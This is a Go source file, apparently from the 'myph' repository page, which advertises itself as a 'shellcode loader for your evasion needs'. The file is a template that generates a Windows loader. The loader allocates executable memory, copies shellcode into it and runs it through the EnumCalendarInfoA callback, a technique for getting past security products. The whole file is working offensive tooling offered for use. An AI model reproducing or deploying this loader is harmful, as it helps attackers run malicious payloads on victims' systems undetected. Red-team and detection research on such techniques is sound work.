myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
enumCalendarInfoA.go (1883B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type EnumCalendarTemplate struct {
      9 }
     10 
     11 func (t EnumCalendarTemplate) Import() string {
     12 	return fmt.Sprintf(`
     13 import (
     14     "syscall"
     15     "unsafe"
     16 )
     17 `)
     18 }
     19 
     20 func (t EnumCalendarTemplate) Const() string {
     21 	return fmt.Sprintf(`
     22 const (
     23 	MEM_COMMIT             = 0x1000
     24 	MEM_RESERVE            = 0x2000
     25 	PAGE_EXECUTE_READWRITE = 0x40
     26 )
     27 
     28 var (
     29 	kernel32        = syscall.MustLoadDLL("kernel32.dll")
     30 	ntdll           = syscall.MustLoadDLL("ntdll.dll")
     31 
     32 	VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
     33 	EnumCalendarInfoA   = kernel32.MustFindProc("EnumCalendarInfoA")
     34 	RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
     35 
     36 	LOCALE_USER_DEFAULT = 0x0400
     37 	ENUM_ALL_CALENDARS  = 0xFFFFFFFF
     38 	CAL_SMONTHNAME1     = 0x00000015
     39 )
     40 `)
     41 }
     42 
     43 func (t EnumCalendarTemplate) Init() string {
     44 	return ""
     45 }
     46 
     47 func (t EnumCalendarTemplate) Process() string {
     48 	return fmt.Sprintf(`
     49 	addr, _, _ := VirtualAlloc.Call(
     50 		0,
     51 		uintptr(len(shellcode)),
     52 		MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
     53 	)
     54 
     55 	_, _, _ = RtlCopyMemory.Call(
     56 		addr,
     57 		(uintptr)(unsafe.Pointer(&shellcode[0])),
     58 		uintptr(len(shellcode)),
     59 	)
     60 
     61 	_, _, _ = EnumCalendarInfoA.Call(
     62 		addr,
     63 		(uintptr)(LOCALE_USER_DEFAULT),
     64 		(uintptr)(ENUM_ALL_CALENDARS),
     65 		(uintptr)(CAL_SMONTHNAME1),
     66 	)
     67 `)
     68 }
     69 
     70 func (t EnumCalendarTemplate) GetTemplate(targetProcess string) string {
     71 	InformProcessUnused(targetProcess)
     72 
     73 	var template = `
     74 package main
     75 
     76 __IMPORT__STATEMENT__
     77 
     78 __CONST__STATEMENT__
     79 
     80 func ExecuteOrderSixtySix(shellcode []byte) {
     81 
     82 __IMPORT__PROCESS__
     83 	
     84 }
     85 `
     86 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
     87 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
     88 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
     89 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
     90 
     91 	return template
     92 }